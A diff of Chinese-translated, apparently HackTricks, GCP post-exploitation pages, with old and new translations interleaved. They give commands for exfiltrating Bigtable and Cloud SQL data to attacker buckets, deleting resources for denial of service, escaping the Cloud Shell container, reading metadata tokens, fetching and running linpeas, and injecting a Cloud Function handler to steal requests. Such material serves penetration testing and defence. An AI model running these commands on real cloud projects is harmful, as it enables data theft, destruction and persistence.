**权限:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
**权限:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
可以通过启动一个 Dataflow job,将行流式写入你控制的 GCS bucket,从而 exfiltrate 整个表的内容到攻击者控制的 bucket。
|
||||
可以通过启动一个 Dataflow job,将行流式写入你控制的 GCS bucket,从而将整个表的内容 exfiltrate 到你控制的 bucket。
|
||||
|
||||
> [!NOTE]
|
||||
> 注意,你需要对具有足够执行导出权限的某个 SA 拥有 `iam.serviceAccounts.actAs` 权限(默认情况下,除非另有说明,否则将使用默认 compute SA)。
|
||||
> 请注意,您需要对某个具有足够权限执行导出的 SA 拥有 `iam.serviceAccounts.actAs` 权限(默认情况下,如果未另行指明,将使用默认 compute SA)。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>将 Bigtable 导出到 GCS bucket</summary>
|
||||
```bash
|
||||
gcloud dataflow jobs run <job-name> \
|
||||
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
|
||||
@@ -70,19 +92,25 @@ gcloud dataflow jobs run dump-bigtable3 \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> Switch the template to `Cloud_Bigtable_to_GCS_Parquet` or `Cloud_Bigtable_to_GCS_SequenceFile` if you want Parquet/SequenceFile outputs instead of JSON. The permissions are the same; only the template path changes.
|
||||
> 如果你希望输出为 Parquet/SequenceFile 而不是 JSON,请将模板切换为 `Cloud_Bigtable_to_GCS_Parquet` 或 `Cloud_Bigtable_to_GCS_SequenceFile`。权限相同;仅模板路径会改变。
|
||||
|
||||
### Import rows
|
||||
### 导入行
|
||||
|
||||
**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
**权限:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
可以通过启动一个 Dataflow 作业,将行流式写入你控制的 GCS 存储桶,从而从攻击者控制的存储桶导入整个表的内容。为此,攻击者首先需要创建一个包含要导入数据且符合预期 schema 的 parquet 文件。攻击者可以先按照前述方法使用 `Cloud_Bigtable_to_GCS_Parquet` 将数据导出为 parquet 格式,然后在下载的 parquet 文件中添加新条目。
|
||||
可以通过启动一个 Dataflow 作业,将行流式写入你控制的 GCS bucket,从而从攻击者控制的 bucket 导入整个表的内容。为此,攻击者首先需要创建一个符合预期 schema 的 parquet 文件,包含要导入的数据。攻击者可以先使用前述技术并选择 `Cloud_Bigtable_to_GCS_Parquet` 设置将数据导出为 parquet 格式,然后在下载的 parquet 文件中添加新条目。
|
||||
|
||||
|
||||
|
||||
> [!NOTE]
|
||||
> Note that you will need the permission `iam.serviceAccounts.actAs` over a some SA with enough permissions to perform the export (by default, if not aindicated otherwise, the default compute SA will be used).
|
||||
> 注意,你需要对具有足够权限来执行导出的某个 SA 拥有 `iam.serviceAccounts.actAs` 权限(默认情况下,如果未另行指定,将使用默认的 compute SA)。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>从 GCS bucket 导入到 Bigtable</summary>
|
||||
```bash
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=<REGION> \
|
||||
@@ -99,11 +127,17 @@ gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
</details>
|
||||
|
||||
### 恢复备份
|
||||
|
||||
**权限:** `bigtable.backups.restore`, `bigtable.tables.create`.
|
||||
|
||||
拥有这些权限的攻击者可以将备份恢复到其控制的新表中,从而能够恢复旧的敏感数据。
|
||||
具有这些权限的攻击者可以将备份恢复到其控制的新表,从而能够恢复旧的敏感数据。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>恢复 Bigtable 备份</summary>
|
||||
```bash
|
||||
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
|
||||
--cluster=<CLUSTER_ID_SOURCE>
|
||||
@@ -115,16 +149,22 @@ gcloud bigtable instances tables restore \
|
||||
--destination-instance=<INSTANCE_ID_DESTINATION> \
|
||||
--project=<PROJECT_ID_DESTINATION>
|
||||
```
|
||||
</details>
|
||||
|
||||
### 恢复已删除的表
|
||||
|
||||
**权限:** `bigtable.tables.undelete`
|
||||
**权限:** `bigtable.tables.undelete`
|
||||
|
||||
Bigtable 支持软删除并具有宽限期(通常默认 7 天)。在此期间,拥有 `bigtable.tables.undelete` 权限的攻击者可以恢复最近删除的表并恢复其所有数据,可能访问原本以为已被销毁的敏感信息。
|
||||
Bigtable 支持带有宽限期(通常默认 7 天)的软删除。在此窗口期内,拥有 `bigtable.tables.undelete` 权限的攻击者可以恢复最近删除的表并恢复其所有数据,可能访问被认为已销毁的敏感信息。
|
||||
|
||||
这对于以下情况尤其有用:
|
||||
- 从防御方在事件响应期间删除的表中恢复数据
|
||||
- 访问被有意清除的历史数据
|
||||
- 撤销意外或恶意的删除以维持持久性
|
||||
这尤其可用于:
|
||||
- 从在事件响应期间被防御者删除的表中恢复数据
|
||||
- 访问已被有意清除的历史数据
|
||||
- 撤销意外或恶意删除以维持持久性
|
||||
|
||||
<details>
|
||||
|
||||
<summary>恢复 Bigtable 表</summary>
|
||||
```bash
|
||||
# List recently deleted tables (requires bigtable.tables.list)
|
||||
gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
@@ -134,18 +174,24 @@ gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
gcloud bigtable instances tables undelete <table-id> \
|
||||
--instance=<instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> undelete 操作仅在已配置的保留期内有效(默认 7 天)。在此窗口过期后,表及其数据将被永久删除,无法通过此方法恢复。
|
||||
> 撤销删除操作仅在配置的保留期内有效(默认 7 天)。在此窗口期过后,表及其数据将被永久删除,无法通过此方法恢复。
|
||||
|
||||
|
||||
### 创建授权视图
|
||||
|
||||
**Permissions:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
|
||||
**权限:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
|
||||
|
||||
授权视图允许你展示表的一个经过筛选的子集。不是去遵循 least privilege,而是用它来发布 **精确的敏感列/行集** 并将你自己的主体列入白名单。
|
||||
授权视图允许你呈现表的精心筛选子集。与仅遵循最小权限不同,使用它们来发布你关心的**确切敏感列/行集合**并将你自己的主体列入白名单。
|
||||
|
||||
> [!WARNING]
|
||||
> 问题在于,创建授权视图还需要能够读取并修改基础表中的行,因此你并没有获得任何额外权限,所以这个技术基本上没什么用处。
|
||||
> 问题在于,要创建授权视图,你还需要能够读取并修改基础表的行,因此你并没有获得任何额外权限,因而该技术在大多数情况下几乎无用。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>创建授权视图</summary>
|
||||
```bash
|
||||
cat <<'EOF' > /tmp/credit-cards.json
|
||||
{
|
||||
@@ -168,13 +214,19 @@ gcloud bigtable authorized-views add-iam-policy-binding card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
|
||||
```
|
||||
因为访问被限定在视图范围内,防御者常常忽略你刚刚创建了一个新的高敏感性端点。
|
||||
</details>
|
||||
|
||||
因为访问被限定在视图范围内,防御方往往忽略你实际上刚创建了一个新的高敏感性端点。
|
||||
|
||||
### 读取授权视图
|
||||
|
||||
**权限:** `bigtable.authorizedViews.readRows`
|
||||
|
||||
如果你有权访问一个授权视图,可以在读取请求中指定该授权视图的名称,使用 Bigtable 客户端库从中读取数据。请注意,授权视图可能会限制你可以从表中访问的内容。下面是一个使用 Python 的示例:
|
||||
如果你有权访问一个授权视图,可以在读取请求中通过指定该授权视图名称,使用 Bigtable 客户端库从中读取数据。注意,该授权视图可能会限制你可以从表中访问的内容。下面是使用 Python 的示例:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>从授权视图读取 (Python)</summary>
|
||||
```python
|
||||
from google.cloud import bigtable
|
||||
from google.cloud.bigtable_v2 import BigtableClient as DataClient
|
||||
@@ -209,19 +261,25 @@ qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'v
|
||||
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
|
||||
print(f" {family}:{qualifier} = {value}")
|
||||
```
|
||||
### Denial of Service 通过删除操作
|
||||
</details>
|
||||
|
||||
**权限:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
|
||||
### Denial of Service via Delete Operations
|
||||
|
||||
任何具有 Bigtable 删除权限的许可都可以被用于 denial of service attacks。拥有这些权限的攻击者可以通过删除关键的 Bigtable 资源来中断操作:
|
||||
**权限:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
|
||||
|
||||
- **`bigtable.appProfiles.delete`**: 删除应用配置文件,破坏客户端连接和路由配置
|
||||
- **`bigtable.authorizedViews.delete`**: 移除授权视图,切断应用的合法访问路径
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**: 从授权视图中移除标签绑定
|
||||
- **`bigtable.backups.delete`**: 销毁备份快照,消除灾难恢复选项
|
||||
- **`bigtable.clusters.delete`**: 删除整个集群,导致数据立即不可用
|
||||
- **`bigtable.instances.delete`**: 移除完整的 Bigtable 实例,抹除所有表和配置
|
||||
- **`bigtable.tables.delete`**: 删除单个表,导致数据丢失和应用故障
|
||||
任何 Bigtable 的 delete 权限都可以被武器化用于 denial of service 攻击。拥有这些权限的攻击者可以通过删除关键的 Bigtable 资源来破坏操作:
|
||||
|
||||
- **`bigtable.appProfiles.delete`**:删除应用配置文件,导致客户端连接和路由配置中断
|
||||
- **`bigtable.authorizedViews.delete`**:移除授权视图,切断应用的合法访问路径
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**:从授权视图中移除标签绑定
|
||||
- **`bigtable.backups.delete`**:销毁备份快照,消除灾难恢复选项
|
||||
- **`bigtable.clusters.delete`**:删除整个集群,导致数据立即不可用
|
||||
- **`bigtable.instances.delete`**:删除整个 Bigtable 实例,清除所有表和配置
|
||||
- **`bigtable.tables.delete`**:删除单个表,导致数据丢失和应用故障
|
||||
|
||||
<details>
|
||||
|
||||
<summary>删除 Bigtable 资源</summary>
|
||||
```bash
|
||||
# Delete a table
|
||||
gcloud bigtable instances tables delete <table-id> \
|
||||
@@ -246,7 +304,9 @@ gcloud bigtable clusters delete <cluster-id> \
|
||||
# Delete an entire instance
|
||||
gcloud bigtable instances delete <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!WARNING]
|
||||
> 删除操作通常是立即生效且不可逆的。测试这些命令之前请确保已有备份,因为它们可能导致永久性数据丢失和严重的服务中断。
|
||||
> 删除操作通常是立即且不可逆的。在测试这些命令之前请确保已有备份,因为它们可能导致永久性的数据丢失和严重的服务中断。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+8
-2
@@ -1,4 +1,4 @@
|
||||
# GCP - Cloud Build 后期利用
|
||||
# GCP - Cloud Build Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,11 @@
|
||||
|
||||
### `cloudbuild.builds.approve`
|
||||
|
||||
拥有此权限后,您可以批准需要批准的 **codebuild 的执行**。
|
||||
拥有此权限可批准需要审批的 **codebuild** 的执行。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>批准 Cloud Build 执行</summary>
|
||||
```bash
|
||||
# Check the REST API in https://cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/approve
|
||||
curl -X POST \
|
||||
@@ -24,4 +28,6 @@ object (ApprovalResult)
|
||||
}}' \
|
||||
"https://cloudbuild.googleapis.com/v1/projects/<PROJECT_ID>/locations/<LOCATION>/builds/<BUILD_ID>:approve"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+20
-6
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
查找有关 Cloud Functions 的一些信息:
|
||||
在以下位置查找有关 Cloud Functions 的一些信息:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,20 +12,30 @@
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeGet`
|
||||
|
||||
使用此权限,您可以获取一个 **签名 URL 以便下载 Cloud Function 的源代码**:
|
||||
拥有此权限可以获取一个 **signed URL 来下载 Cloud Function 的源代码**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>获取用于下载 Cloud Function 源代码的 signed URL</summary>
|
||||
```bash
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
|
||||
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
### Steal Cloud Function Requests
|
||||
</details>
|
||||
|
||||
如果 Cloud Function 正在管理用户发送的敏感信息(例如密码或令牌),只要拥有足够的权限,您可以**修改函数的源代码并提取**这些信息。
|
||||
### 窃取 Cloud Function 请求
|
||||
|
||||
此外,运行在 python 中的 Cloud Functions 使用**flask**来暴露 web 服务器,如果您以某种方式在 flaks 进程中发现代码注入漏洞(例如 SSTI 漏洞),则可以**覆盖将接收 HTTP 请求的函数处理程序**,以便使用**恶意函数**在将请求传递给合法处理程序之前**提取请求**。
|
||||
如果 Cloud Function 正在处理用户发送的敏感信息(例如 passwords 或 tokens),在拥有足够权限的情况下,你可以 **修改函数的源代码并 exfiltrate** 这些信息。
|
||||
|
||||
例如,这段代码实现了攻击:
|
||||
此外,运行在 python 上的 Cloud Functions 使用 **flask** 暴露 web 服务器,如果你在 flask 进程中发现了代码注入漏洞(例如 SSTI 漏洞),有可能 **覆盖将接收 HTTP 请求的函数处理器**,使其成为一个 **恶意函数**,该函数可以在将请求传递给合法处理器之前 **exfiltrate the request**。
|
||||
|
||||
例如这段代码实现了该攻击:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>窃取 Cloud Function 请求 (Python injection)</summary>
|
||||
```python
|
||||
import functions_framework
|
||||
|
||||
@@ -122,4 +132,8 @@ return "Injection completed!"
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+75
-15
@@ -1,33 +1,49 @@
|
||||
# GCP - Cloud Shell 后期利用
|
||||
# GCP - Cloud Shell Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
有关 Cloud Shell 的更多信息,请查看:
|
||||
有关 Cloud Shell 的更多信息,请参阅:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 容器逃逸
|
||||
### Container Escape
|
||||
|
||||
请注意,Google Cloud Shell 运行在一个容器内,您可以通过以下方式**轻松逃逸到主机**:
|
||||
请注意 Google Cloud Shell 运行在容器内,你可以通过以下操作 **轻松逃逸到宿主机**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Container escape commands</summary>
|
||||
```bash
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
||||
```
|
||||
这并不被谷歌视为漏洞,但它让你更全面地了解该环境中发生的事情。
|
||||
</details>
|
||||
|
||||
此外,请注意,从主机上你可以找到一个服务账户令牌:
|
||||
这不被 google 视为一个漏洞,但它能让你对该环境中发生的情况有更全面的了解。
|
||||
|
||||
此外,请注意,从主机上你可以找到 service account token:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get service account from metadata</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
default/
|
||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||
```
|
||||
具有以下范围:
|
||||
</details>
|
||||
|
||||
具有以下访问范围:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>获取服务账户的访问范围</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||
|
||||
@@ -35,48 +51,92 @@ https://www.googleapis.com/auth/devstorage.read_only
|
||||
https://www.googleapis.com/auth/logging.write
|
||||
https://www.googleapis.com/auth/monitoring.write
|
||||
```
|
||||
使用 LinPEAS 枚举元数据:
|
||||
</details>
|
||||
|
||||
使用 LinPEAS 枚举 metadata:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>使用 LinPEAS 枚举 metadata</summary>
|
||||
```bash
|
||||
cd /tmp
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
||||
sh linpeas.sh -o cloud
|
||||
```
|
||||
在使用 [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) 和服务账户的令牌后 **没有发现权限**...
|
||||
</details>
|
||||
|
||||
### 将其用作代理
|
||||
在使用 [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) 并使用 Service Account 的令牌后,**未发现任何权限**...
|
||||
|
||||
如果您想将您的 Google Cloud Shell 实例用作代理,您需要运行以下命令(或将其插入 .bashrc 文件中):
|
||||
### 将其作为代理使用
|
||||
|
||||
如果你想将你的 google cloud shell 实例作为代理使用,需要运行以下命令(或将它们插入 .bashrc 文件):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>安装 Squid proxy</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
```
|
||||
创建一个 **squid.conf** 文件,包含以下设置:
|
||||
</details>
|
||||
|
||||
顺便说明,Squid 是一个 HTTP 代理服务器。创建一个 **squid.conf** 文件,包含以下设置:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>创建 squid.conf 文件</summary>
|
||||
```bash
|
||||
http_port 3128
|
||||
cache_dir /var/cache/squid 100 16 256
|
||||
acl all src 0.0.0.0/0
|
||||
http_access allow all
|
||||
```
|
||||
</details>
|
||||
|
||||
将 **squid.conf** 文件复制到 **/etc/squid**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>将配置复制到 /etc/squid</summary>
|
||||
```bash
|
||||
sudo cp squid.conf /etc/squid
|
||||
```
|
||||
</details>
|
||||
|
||||
最后运行 squid 服务:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>启动 squid 服务</summary>
|
||||
```bash
|
||||
sudo service squid start
|
||||
```
|
||||
</details>
|
||||
|
||||
使用 ngrok 使代理可以从外部访问:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>使用 ngrok 暴露代理</summary>
|
||||
```bash
|
||||
./ngrok tcp 3128
|
||||
```
|
||||
在运行后复制 tcp:// URL。如果您想从浏览器运行代理,建议去掉 tcp:// 部分和端口,并将端口放入浏览器代理设置的端口字段中(squid 是一个 http 代理服务器)。
|
||||
</details>
|
||||
|
||||
为了在启动时更好地使用,.bashrc 文件应包含以下行:
|
||||
运行后复制 tcp:// url。如果想从浏览器运行代理,建议去掉 tcp:// 部分和端口,并在浏览器代理设置的端口字段中填写端口(squid 是一个 http 代理服务器)。
|
||||
|
||||
为了在启动时更好地使用,.bashrc 文件应包含以下几行:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>添加到 .bashrc 以实现自动启动</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
sudo cp squid.conf /etc/squid/
|
||||
sudo service squid start
|
||||
cd ngrok;./ngrok tcp 3128
|
||||
```
|
||||
说明是从 [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) 复制的。请查看该页面以获取在 Cloud Shell 中运行任何类型软件(数据库甚至 Windows)的其他疯狂想法。
|
||||
</details>
|
||||
|
||||
这些指令摘自 [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)。查看该页面以获取在 Cloud Shell 中运行各种软件(数据库甚至 windows)的其他疯狂想法。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+66
-12
@@ -1,10 +1,10 @@
|
||||
# GCP - Cloud SQL 后期利用
|
||||
# GCP - Cloud SQL Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud SQL
|
||||
|
||||
有关 Cloud SQL 的更多信息,请查看:
|
||||
有关 Cloud SQL 的更多信息,请参阅:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-sql-enum.md
|
||||
@@ -12,7 +12,11 @@
|
||||
|
||||
### `cloudsql.instances.update`, ( `cloudsql.instances.get`)
|
||||
|
||||
要连接到数据库,您**只需访问数据库端口**并知道**用户名**和**密码**,没有任何 IAM 要求。因此,获取访问权限的一个简单方法是,假设数据库具有公共 IP 地址,更新允许的网络并**允许您自己的 IP 地址访问它**。
|
||||
要连接到数据库,你**只需要访问数据库端口**并知道**username**和**password**,不需要任何 IAM 权限。因此,一个简单的访问方法(假设数据库有公网 IP)是更新允许的网络并**允许你自己的 IP 地址 访问它**。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>允许你的 IP 并连接到数据库</summary>
|
||||
```bash
|
||||
# Use --assign-ip to make the database get a public IPv4
|
||||
gcloud sql instances patch $INSTANCE_NAME \
|
||||
@@ -25,61 +29,111 @@ mysql -h <ip_db> # If mysql
|
||||
# With cloudsql.instances.get you can use gcloud directly
|
||||
gcloud sql connect mysql --user=root --quiet
|
||||
```
|
||||
也可以使用 **`--no-backup`** 来 **干扰数据库的备份**。
|
||||
</details>
|
||||
|
||||
由于这些是要求,我不太确定 **`cloudsql.instances.connect`** 和 **`cloudsql.instances.login`** 的权限是什么。如果你知道,请发送 PR!
|
||||
也可以使用 **`--no-backup`** 来 **中断数据库的备份**。
|
||||
|
||||
鉴于这些是必需权限,我不太确定权限 **`cloudsql.instances.connect`** 和 **`cloudsql.instances.login`** 的具体用途。如果你知道,请提交 PR!
|
||||
|
||||
### `cloudsql.users.list`
|
||||
|
||||
获取数据库的 **所有用户列表**:
|
||||
获取数据库中**所有用户的列表**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>列出数据库用户</summary>
|
||||
```bash
|
||||
gcloud sql users list --instance <intance-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.users.create`
|
||||
|
||||
此权限允许**在数据库中创建新用户**:
|
||||
此权限允许 **在数据库中创建新用户**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create database user</summary>
|
||||
```bash
|
||||
gcloud sql users create <username> --instance <instance-name> --password <password>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.users.update`
|
||||
|
||||
此权限允许**更新数据库中的用户**。例如,您可以更改其密码:
|
||||
此权限允许**在数据库中更新用户**。例如,您可以更改其密码:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>更新用户密码</summary>
|
||||
```bash
|
||||
gcloud sql users set-password <username> --instance <instance-name> --password <password>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`
|
||||
|
||||
备份可能包含**旧的敏感信息**,因此检查它们是很有趣的。\
|
||||
备份可能包含 **旧的敏感信息**,因此值得检查它们。\
|
||||
**在数据库中恢复备份**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>恢复数据库备份</summary>
|
||||
```bash
|
||||
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
|
||||
```
|
||||
为了以更隐蔽的方式进行操作,建议创建一个新的 SQL 实例,并在该实例中恢复数据,而不是在当前运行的数据库中。
|
||||
</details>
|
||||
|
||||
为以更隐蔽的方式进行,建议创建一个新的 SQL 实例并在那里恢复数据,而不是在当前正在运行的数据库中恢复。
|
||||
|
||||
### `cloudsql.backupRuns.delete`
|
||||
|
||||
此权限允许删除备份:
|
||||
该权限允许删除备份:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>删除备份</summary>
|
||||
```bash
|
||||
gcloud sql backups delete <backup-id> --instance <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.export`, `storage.objects.create`
|
||||
|
||||
**将数据库导出**到 Cloud Storage Bucket,以便您可以从那里访问它:
|
||||
**将数据库导出**到 Cloud Storage Bucket,以便您可以从那里访问:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>将数据库导出到 Bucket</summary>
|
||||
```bash
|
||||
# Export sql format, it could also be csv and bak
|
||||
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.import`, `storage.objects.get`
|
||||
|
||||
**从 Cloud Storage Bucket 导入数据库**(覆盖):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>从 bucket 导入数据库</summary>
|
||||
```bash
|
||||
# Import format SQL, you could also import formats bak and csv
|
||||
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.databases.delete`
|
||||
|
||||
从数据库实例中删除数据库:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>删除数据库</summary>
|
||||
```bash
|
||||
gcloud sql databases delete <db-name> --instance <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+84
-24
@@ -1,26 +1,32 @@
|
||||
# GCP - 计算后渗透
|
||||
# GCP - Compute Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 计算
|
||||
## Compute
|
||||
|
||||
有关计算和 VPC(网络)的更多信息,请查看:
|
||||
有关 Compute 和 VPC (Networking) 的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-compute-instances-enum/
|
||||
{{#endref}}
|
||||
|
||||
### 本地导出和检查镜像
|
||||
### 在本地导出并检查镜像
|
||||
|
||||
这将允许攻击者**访问已存在镜像中包含的数据**或**创建正在运行的虚拟机的新镜像**,并在不访问正在运行的虚拟机的情况下访问其数据。
|
||||
这将允许攻击者**访问已存在镜像中包含的数据**或**创建正在运行的 VMs 的新镜像**并在不访问正在运行的 VM 的情况下访问它们的数据。
|
||||
|
||||
可以将虚拟机镜像导出到一个存储桶,然后使用以下命令下载并在本地挂载:
|
||||
可以将 VM 镜像导出到 bucket,然后下载并使用以下命令在本地挂载:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>导出并下载 VM 镜像</summary>
|
||||
```bash
|
||||
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
|
||||
# The download the export from the bucket and mount it locally
|
||||
```
|
||||
为了执行此操作,攻击者可能需要对存储桶的权限,并且肯定需要对 **cloudbuild** 的权限,因为这是将被请求执行导出的 **服务**。\
|
||||
此外,为了使其正常工作,codebuild SA 和 compute SA 需要特权权限。\
|
||||
</details>
|
||||
|
||||
在执行此操作之前,攻击者可能需要对存储桶拥有权限,并且肯定需要对 **cloudbuild 的权限**,因为它是将被要求执行导出的 **服务**\
|
||||
此外,为了使其生效,codebuild SA 和 compute SA 需要特权权限。\
|
||||
cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` 需要:
|
||||
|
||||
- roles/iam.serviceAccountTokenCreator
|
||||
@@ -29,12 +35,16 @@ cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` 需要:
|
||||
|
||||
而 SA `<project-id>-compute@developer.gserviceaccount.com` 需要:
|
||||
|
||||
- roles/compute.storageAdmin
|
||||
- oles/compute.storageAdmin
|
||||
- roles/storage.objectAdmin
|
||||
|
||||
### 本地导出和检查快照和磁盘
|
||||
### 导出并在本地检查 Snapshots & Disks
|
||||
|
||||
